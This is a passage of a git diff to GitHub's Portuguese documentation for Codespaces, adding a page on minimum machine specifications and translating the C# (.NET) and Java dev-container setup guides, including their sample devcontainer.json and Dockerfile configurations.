+If your project needs a certain level of compute power, you can configure {% data variables.product.prodname_github_codespaces %} so that only machine types that meet these requirements are available for people to select. You configure this in the `devcontainer.json` file.
+
+{% note %}
+
+**Important:** Access to some machine types may be restricted at the organization level. Typically this is done to prevent people choosing higher resourced machines that are billed at a higher rate. If your repository is affected by an organization-level policy for machine types you should make sure you don't set a minimum specification that would leave no available machine types for people to choose. Para obter mais informações, consulte "[Restringindo o acesso aos tipos de máquina](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
+{% endnote %}
+
+## Setting a minimum machine specification
+
+1. {% data variables.product.prodname_codespaces %} for your repository are configured in the `devcontainer.json` file. If your repository does not already contain a `devcontainer.json` file, add one now. See "[Add a dev container to your project](/free-pro-team@latest/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)."
+1. Edit the `devcontainer.json` file, adding a `hostRequirements` property such as this:
+
+   ```json{:copy}
+   "hostRequirements": {
+      "cpus": 8,
+      "memory": "8gb",
+      "storage": "32gb" 
+   }
+   ```
+
+   You can specify any or all of the options: `cpus`, `memory`, and `storage`.
+
+   To check the specifications of the {% data variables.product.prodname_codespaces %} machine types that are currently available for your repository, step through the process of creating a codespace until you see the choice of machine types. Para obter mais informações, consulte "[Criar um codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)".
+
+1. Save the file and commit your changes to the required branch of the repository.
+
+   Now when you create a codespace for that branch of the repository you will only be able to select machine types that match or exceed the resources you've specified.
+
+   ![Dialog box showing a limited choice of machine types](/assets/images/help/codespaces/machine-types-limited-choice.png)
+
+## Leia mais
+
+- "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project)"
diff --git a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
index 2109d9c551..0f115b5528 100644
--- a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
+++ b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
@@ -1,9 +1,9 @@
 ---
-title: Setting up your C# (.NET) project for Codespaces
-shortTitle: Setting up your C# (.NET) project
+title: Configurando seu projeto C# (.NET) para os codespaces
+shortTitle: Configurando seu projeto C# (.NET)
 allowTitleToDifferFromFilename: true
 product: '{% data reusables.gated-features.codespaces %}'
-intro: 'Get started with your C# (.NET) project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+intro: 'Primeiros passos com o seu projeto C# (.NET) em {% data variables.product.prodname_codespaces %} criando um contêiner de desenvolvimento personalizado.'
 redirect_from:
   - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project
 versions:
@@ -17,131 +17,127 @@ hidden: true
 
 
 
-## Introduction
+## Introdução
 
-This guide shows you how to set up your C# (.NET) project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+Este guia mostra como configurar seu projeto C# (.NET) em {% data variables.product.prodname_codespaces %}. Ele irá apresentar a você um exemplo de abertura de seu projeto em um codespace e adicionar e modificar uma configuração de contêiner de desenvolvimento a partir de um modelo.
 
-### Prerequisites
+### Pré-requisitos
 
-- You should have an existing C# (.NET) project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/dotnet-quickstart.
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- Você deve ter um projeto C# (.NET) existente em um repositório em {% data variables.product.prodname_dotcom_the_website %}. Se você não tiver um projeto, você poderá tentar este tutorial com o seguinte exemplo: https://github.com/2percentsilk/dotnet-quickstart.
+- Você precisa ter {% data variables.product.prodname_codespaces %} habilitado para a sua organização.
 
-## Step 1: Open your project in a codespace
+## Etapa 1: Abra o seu projeto em um codespace
 
-1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
+1. No nome do repositório, use o menu suspenso **Código de {% octicon "code" aria-label="The code icon" %}** e na aba **Codespaces** de código, clique em {% octicon "plus" aria-label="The plus icon" %} **Novo codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![Botão de codespace novo](/assets/images/help/codespaces/new-codespace-button.png)
 
-  If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
+  Se você não vir esta opção, significa que {% data variables.product.prodname_codespaces %} não está disponível para o seu projeto. Consulte [Acesso a {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) para mais informações.
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including .NET. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+Ao criar um código, seu projeto será criado em uma VM remota dedicada a você. Por padrão, o contêiner para o seu codespace têm várias linguagens e tempos de execução, incluindo .NET. Ele também inclui um conjunto comum de ferramentas, como git, wget, rsync, openssh e nano.
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+Você pode personalizar o seu codespace ajustando a quantidade de vCPUs e RAM, [adicionando dotfiles para personalizar seu ambiente](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)ou modificando as ferramentas e scripts instalados.
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} usa um arquivo denominado `devcontainer.json` para armazenar configurações. Ao iniciar, {% data variables.product.prodname_codespaces %} usa o arquivo para instalar quaisquer ferramentas, dependências ou outro conjunto que possa ser necessário para o projeto. Para obter mais informações, consulte "[Introdução a contêineres de desenvolvimento](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
 
-## Step 2: Add a dev container to your codespace from a template
+## Etapa 2: Adicione um contêiner de desenvolvimento ao seu codespace a partir de um modelo
 
-The default codespaces container comes with the latest .NET version and common tools preinstalled. However, we encourage you to set up a custom container so you can tailor the tools and scripts that run as part of codespace creation to your project's needs and ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+O contêiner de codespaces padrão vem com a versão mais recente do .NET e as ferramentas mais comuns pré-instaladas. No entanto, recomendamos que você configure um contêiner personalizado para que possa personalizar as ferramentas e scripts que são executados como parte da criação do codespace para as necessidades do seu projeto e garantir um ambiente reprodutível para todos os usuários de {% data variables.product.prodname_codespaces %} no seu repositório.
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers
-](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+Para configurar seu projeto com um contêiner personalizado, você deverá usar um arquivo `devcontainer.json` para definir o ambiente. Em {% data variables.product.prodname_codespaces %}, você pode adicionar isto a partir de um modelo ou você pode criar o seu próprio. Para obter mais informações sobre contêineres de desenvolvimento, consulte "[Introdução a contêineres de desenvolvimento ](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
 
 {% data reusables.codespaces.command-palette-container %}
-2. For this example, click **C# (.NET)**. If you need additional features you can select any container that’s specific to C# (.NET) or a combination of tools such as C# (.NET) and MS SQL.
-  ![Select C# (.NET) option from the list](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png)
-3. Click the recommended version of .NET.
-  ![.NET version selection](/assets/images/help/codespaces/add-dotnet-version.png)
-4. Accept the default option to add Node.js to your customization.
-  ![Add Node.js selection](/assets/images/help/codespaces/dotnet-options.png)
+2. Para este exemplo, clique em **C# (.NET)**. Se você precisar de funcionalidades adicionais, você poderá selecionar qualquer contêiner específico para o C# (.NET) ou uma combinação de ferramentas como C# (.NET) e MS SQL. ![Selecione a opção C# (.NET) na lista](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png)
+3. Clique na versão recomendada do .NET. ![Seleção da versão .NET](/assets/images/help/codespaces/add-dotnet-version.png)
+4. Aceite a opção padrão para adicionar Node.js à sua personalização. ![Adicionar seleção de Node.js](/assets/images/help/codespaces/dotnet-options.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### Anatomia do seu contêiner de desenvolvimento
 
-Adding the C# (.NET) dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+A adição do modelo de contêiner de C# (.NET) adiciona uma pasta de contêiner de desenvolvimento `.devcontainer` à raiz do repositório do seu projeto com os seguintes arquivos:
 
 - `devcontainer.json`
-- Dockerfile
+- arquivo Docker
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+O arquivo recém-adicionado `devcontainer.json` define algumas propriedades que são descritas após a amostra.
 
 #### devcontainer.json
 
 ```json
 {
-	"name": "C# (.NET)",
-	"build": {
-		"dockerfile": "Dockerfile",
-		"args": {
-			// Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0
-			"VARIANT": "5.0",
-			// Options
-			"INSTALL_NODE": "true",
-			"NODE_VERSION": "lts/*",
-			"INSTALL_AZURE_CLI": "false"
-		}
-	},
+    "name": "C# (.NET)",
+    "build": {
+        "dockerfile": "Dockerfile",
+        "args": {
+            // Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0
+            "VARIANT": "5.0",
+            // Options
+            "INSTALL_NODE": "true",
+            "NODE_VERSION": "lts/*",
+            "INSTALL_AZURE_CLI": "false"
+        }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash"
-	},
+    // Set *default* container specific settings.json values on container create.
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"ms-dotnettools.csharp"
-	],
+    // Add the IDs of extensions you want installed when the container is created.
+    "extensions": [
+        "ms-dotnettools.csharp"
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [5000, 5001],
+    // Use 'forwardPorts' to make a list of ports inside the container available locally.
+    // "forwardPorts": [5000, 5001],
 
-	// [Optional] To reuse of your local HTTPS dev cert:
-	//
-	// 1. Export it locally using this command:
-	//    * Windows PowerShell:
-	//        dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
-	//    * macOS/Linux terminal:
-	//        dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
-	//
-	// 2. Uncomment these 'remoteEnv' lines:
-	//    "remoteEnv": {
-	// 	      "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere",
-	//        "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx",
-	//    },
-	//
-	// 3. Do one of the following depending on your scenario:
-	//    * When using GitHub Codespaces and/or Remote - Containers:
-	//      1. Start the container
-	//      2. Drag ~/.aspnet/https/aspnetapp.pfx into the root of the file explorer
-	//      3. Open a terminal in VS Code and run "mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https"
-	//
-	//    * If only using Remote - Containers with a local container, uncomment this line instead:
-	//      "mounts": [ "source=${env:HOME}${env:USERPROFILE}/.aspnet/https,target=/home/vscode/.aspnet/https,type=bind" ],
+    // [Optional] To reuse of your local HTTPS dev cert:
+    //
+    // 1. Export it locally using this command:
+    //    * Windows PowerShell:
+    //        dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
+    //    * macOS/Linux terminal:
+    //        dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
+    //
+    // 2. Uncomment these 'remoteEnv' lines:
+    //    "remoteEnv": {
+    //        "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere",
+    //        "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx",
+    //    },
+    //
+    // 3. Do one of the following depending on your scenario:
+    //    * When using GitHub Codespaces and/or Remote - Containers:
+    //      1. Start the container
+    //      2. Drag ~/.aspnet/https/aspnetapp.pfx into the root of the file explorer
+    //      3. Open a terminal in VS Code and run "mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https"
+    //
+    //    * If only using Remote - Containers with a local container, uncomment this line instead:
+    //      "mounts": [ "source=${env:HOME}${env:USERPROFILE}/.aspnet/https,target=/home/vscode/.aspnet/https,type=bind" ],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "dotnet restore",
+    // Use 'postCreateCommand' to run commands after the container is created.
+    // "postCreateCommand": "dotnet restore",
 
-	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "vscode"
+    // Comment out connect as root instead. Mais informações: https://aka.ms/vscode-remote/containers/non-root.
+    "remoteUser": "vscode"
 }
 ```
 
-- **Name** - You can name our dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **Dockerfile** - In the build object, `dockerfile` is a reference to the Dockerfile that was also added from the template.
+- **Nome** - Você pode dar qualquer nome ao nosso contêiner de desenvolvimento. Este é apenas o padrão.
+- **Build** - As propriedades de compilação.
+  - **Arquivo Docker** - No objeto de compilação, `arquivo Docker` é uma referência ao arquivo arquivo Docker que também foi adicionado a partir do template.
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the .NET Core version that we want to use.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **ms-dotnettools.csharp** - The Microsoft C# extension provides rich support for developing in C#, including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, like `dotnet restore`, you can do that here.
-- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root.
+    - **Variante**: Este arquivo contém apenas um argumento de compilação, que é a versão do .NET Core que queremos usar.
+- **Configurações** - Estas são as configurações de {% data variables.product.prodname_vscode %}.
+  - **Terminal.integrated.shell.linux** - Embora o bash seja o padrão, você pode usar outros shells do terminal, fazendo a modificação.
+- **Extensões** - Estas são extensões incluídas por padrão.
+  - **ms-dotnettools.csharp** - A extensão Microsoft C# fornece amplo suporte para o desenvolvimento em C#, incluindo funcionalidades como IntelliSense, links, depuração, navegação de código, formatação de código, refatoração, explorador de variáveis, explorador de testes e muito mais.
+- **forwardPorts** - Todas as portas listadas aqui serão encaminhadas automaticamente. Para obter mais informações, consulte "[Encaminhando portas no seu codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)".
+- **postCreateCommand** - Se você quiser executar qualquer coisa depois de parar no seu codespace, isso não estará definido no arquivo Docker como a `Dotnet restore`. Você pode fazer isso aqui.
+- **remoteUser** - Por padrão, você está executando como usuário do vscode, mas, opcionalmente, você pode definir isso como root.
 
-#### Dockerfile
+#### arquivo Docker
 
 ```bash
 # [Choice] .NET version: 5.0, 3.1, 2.1
@@ -167,58 +163,58 @@ RUN if [ "$INSTALL_AZURE_CLI" = "true" ]; then bash /tmp/library-scripts/azcli-d
 # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container.
+Você pode usar o arquivo Docker para adicionar camadas adicionais de contêiner para especificar os pacotes do OS, versões de nó ou pacotes globais que queremos que sejam incluídos no nosso contêiner.
 
-## Step 3: Modify your devcontainer.json file
+## Etapa 3: Modifique seu arquivo devcontainer.json
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and restore your project dependencies when your codespace launches.
+Com o seu contêiner de desenvolvimento adicionado e um entendimento básico do que tudo faz, agora você pode fazer alterações para configurá-lo para o seu ambiente. Neste exemplo, você irá adicionar propriedades para instalar extensões e restaurar as dependências do seu projeto quando seu codespace for iniciado.
 
-1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it.
+1. No Explorador, expanda a pasta `.devcontainer` e selecione o arquivo `devcontainer.json` a partir da árvore para abri-lo.
 
-  ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
+  ![Arquivo devcontainer.json no Explorador](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Update your the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project.
+2. Atualize a sua lista de `extensões` no seu arquivo `devcontainer.json` para adicionar algumas extensões úteis ao trabalhar com o seu projeto.
 
   ```json{:copy}
   "extensions": [
-		  "ms-dotnettools.csharp",
-		  "streetsidesoftware.code-spell-checker",
-	  ],
+          "ms-dotnettools.csharp",
+          "streetsidesoftware.code-spell-checker",
+      ],
   ```
 
-3. Uncomment the `postCreateCommand` to restore dependencies as part of the codespace setup process.
+3. Remova o comentário o `postCreateCommand` para restaurar as dependências como parte do processo de configuração do codespace.
 
   ```json{:copy}
-  // Use 'postCreateCommand' to run commands after the container is created.
+  // Use 'postCreateCommand' para executar os comandos após a criação do contêiner.
   "postCreateCommand": "dotnet restore",
   ```
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  A reconstrução dentro do seu codespace garante que as suas alterações funcionem conforme o esperado antes de realizar o commit das alterações no repositório. Se algo falhar, você será colocado em um codespace com um contêiner de recuperação que você pode reconstruir para continuar ajustando o seu contêiner.
 
-5. Check your changes were successfully applied by verifying the "Code Spell Checker" extension was installed.
+5. Verifique se suas alterações foram aplicadas com sucesso verificando se a extensão "Code Spell Checker" foi instalada.
 
-    ![Extensions list](/assets/images/help/codespaces/dotnet-extensions.png)
+    ![Lista de extensões](/assets/images/help/codespaces/dotnet-extensions.png)
 
-## Step 4: Run your application
+## Etapa 4: Execute o seu aplicativo
 
-In the previous section, you used the `postCreateCommand` to install a set of packages via the `dotnet restore` command. With our dependencies now installed, we can run our application.
+Na seção anterior, você usou o `postCreateCommand` para instalar um conjunto de pacotes por meio do comando `dotnet restore`. Com nossas dependências agora instaladas, podemos executar nosso aplicativo.
 
-1. Run your application by pressing `F5` or entering `dotnet watch run` in your terminal.
+1. Execute seu aplicativo pressionando `F5` ou inserindo `dotnet watch run` no seu terminal.
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. Quando o seu projeto for iniciado, você deverá ver um alerta no canto inferior direito com uma instrução para conectar-se à porta que seu projeto usa.
 
-  ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png)
+  ![Notificação de encaminhamento de porta](/assets/images/help/codespaces/python-port-forwarding.png)
 
-## Step 5: Commit your changes
+## Etapa 5: Faça commit das suas alterações
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## Próximas etapas
 
-You should now be ready start developing your C# (.NET) project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+Agora você deve estar pronto para começar a desenvolver seu projeto C# (.NET) em {% data variables.product.prodname_codespaces %}. Aqui estão alguns recursos adicionais para cenários mais avançados.
 
-- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
-- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
+- [Gerenciar segredos criptografados para {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
+- [Gerenciar a verificação de GPG para {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
+- [Encaminhar portas no seu código](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
index 22140d67f0..c0811f70fa 100644
--- a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
+++ b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
@@ -1,7 +1,7 @@
 ---
-title: Setting up your Java project for Codespaces
-shortTitle: Setting up with your Java project
-intro: 'Get started with your Java project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+title: Configurando seu projeto Java para Codespaces
+shortTitle: Configurando com seu projeto Java
+intro: 'Dê os primeiros passos com o seu projeto Java em {% data variables.product.prodname_codespaces %} criando um contêiner de desenvolvimento personalizado.'
 product: '{% data reusables.gated-features.codespaces %}'
 redirect_from:
   - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces
@@ -16,52 +16,50 @@ hidden: true
 
 
 
-## Introduction
+## Introdução
 
-This guide shows you how to set up your Java project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+Este guia mostra como configurar seu projeto Java em {% data variables.product.prodname_codespaces %}. Ele irá apresentar a você um exemplo de abertura de seu projeto em um codespace e adicionar e modificar uma configuração de contêiner de desenvolvimento a partir de um modelo.
 
-### Prerequisites
+### Pré-requisitos
 
-- You should have an existing Java project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-java
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- Você deve ter um projeto Java existente em um repositório em {% data variables.product.prodname_dotcom_the_website %}. Se você não tiver um projeto, você poderá tentar este tutorial com o seguinte exemplo: https://github.com/microsoft/vscode-remote-try-java
+- Você precisa ter {% data variables.product.prodname_codespaces %} habilitado para a sua organização.
 
-## Step 1: Open your project in a codespace
+## Etapa 1: Abra o seu projeto em um codespace
 
-1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
+1. No nome do repositório, use o menu suspenso **Código de {% octicon "code" aria-label="The code icon" %}** e na aba **Codespaces** de código, clique em {% octicon "plus" aria-label="The plus icon" %} **Novo codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![Botão de codespace novo](/assets/images/help/codespaces/new-codespace-button.png)
 
-  If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
+  Se você não vir esta opção, significa que {% data variables.product.prodname_codespaces %} não está disponível para o seu projeto. Consulte [Acesso a {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) para mais informações.
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Java, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+Ao criar um código, seu projeto será criado em uma VM remota dedicada a você. Por padrão, o contêiner do seu código possui muitas linguagens e tempos de execução, incluindo Java, nvm, npm e yarn. Ele também inclui um conjunto comum de ferramentas, como git, wget, rsync, openssh e nano.
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+Você pode personalizar o seu codespace ajustando a quantidade de vCPUs e RAM, [adicionando dotfiles para personalizar seu ambiente](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)ou modificando as ferramentas e scripts instalados.
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} usa um arquivo denominado `devcontainer.json` para armazenar configurações. Ao iniciar, {% data variables.product.prodname_codespaces %} usa o arquivo para instalar quaisquer ferramentas, dependências ou outro conjunto que possa ser necessário para o projeto. Para obter mais informações, consulte "[Introdução a contêineres de desenvolvimento](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
 
-## Step 2: Add a dev container to your codespace from a template
+## Etapa 2: Adicione um contêiner de desenvolvimento ao seu codespace a partir de um modelo
 
-The default codespaces container comes with the latest Java version, package managers (Maven, Gradle), and other common tools preinstalled. However, we recommend that you set up a custom container to define the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+O contêiner de codespaces padrão vem com a versão mais recente do Java, gerenciadores de pacotes (Maven, Gradle) e outras ferramentas comuns pré-instaladas. No entanto, recomendamos que você configure um contêiner personalizado para definir as ferramentas e scripts de que seu projeto precisa. Isso garantirá um ambiente reprodutível para todos os usuários de {% data variables.product.prodname_codespaces %} do seu repositório.
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+Para configurar seu projeto com um contêiner personalizado, você deverá usar um arquivo `devcontainer.json` para definir o ambiente. Em {% data variables.product.prodname_codespaces %}, você pode adicionar isto a partir de um modelo ou você pode criar o seu próprio. Para obter mais informações sobre contêineres de desenvolvimento, consulte "[Introdução a contêineres de desenvolvimento](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
 
 {% data reusables.codespaces.command-palette-container %}
-3. For this example, click **Java**. In practice, you could select any container that’s specific to Java or a combination of tools such as Java and Azure Functions.
-  ![Select Java option from the list](/assets/images/help/codespaces/add-java-prebuilt-container.png)
-4. Click the recommended version of Java.
-  ![Java version selection](/assets/images/help/codespaces/add-java-version.png)
+3. Para este exemplo, clique em **Java**. Na prática, você pode selecionar qualquer contêiner específico para Java ou uma combinação de ferramentas como Java e Azure Functions. ![Selecione a opção Java na lista](/assets/images/help/codespaces/add-java-prebuilt-container.png)
+4. Clique na versão recomendada do Java. ![Seleção da versão Java](/assets/images/help/codespaces/add-java-version.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### Anatomia do seu contêiner de desenvolvimento
 
-Adding the Java dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+A adição do modelo de contêiner de desenvolvimento Java adiciona uma pasta `.devcontainer` à raiz do repositório do seu projeto com os seguintes arquivos:
 
 - `devcontainer.json`
-- Dockerfile
+- arquivo Docker
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+O arquivo recém-adicionado `devcontainer.json` define algumas propriedades que são descritas após a amostra.
 
 #### devcontainer.json
 
@@ -69,57 +67,57 @@ The newly added `devcontainer.json` file defines a few properties that are descr
 // For format details, see https://aka.ms/vscode-remote/devcontainer.json or this file's README at:
 // https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java
 {
-	"name": "Java",
-	"build": {
-		"dockerfile": "Dockerfile",
-		"args": {
-			// Update the VARIANT arg to pick a Java version: 11, 14
-			"VARIANT": "11",
-			// Options
-			"INSTALL_MAVEN": "true",
-			"INSTALL_GRADLE": "false",
-			"INSTALL_NODE": "false",
-			"NODE_VERSION": "lts/*"
-		}
-	},
+    "name": "Java",
+    "build": {
+        "dockerfile": "Dockerfile",
+        "args": {
+            // Update the VARIANT arg to pick a Java version: 11, 14
+            "VARIANT": "11",
+            // Options
+            "INSTALL_MAVEN": "true",
+            "INSTALL_GRADLE": "false",
+            "INSTALL_NODE": "false",
+            "NODE_VERSION": "lts/*"
+        }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash",
-		"java.home": "/docker-java-home",
-		"maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn"
-	},
+    // Set *default* container specific settings.json values on container create.
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash",
+        "java.home": "/docker-java-home",
+        "maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"vscjava.vscode-java-pack"
-	],
+    // Add the IDs of extensions you want installed when the container is created.
+    "extensions": [
+        "vscjava.vscode-java-pack"
+    ],
 
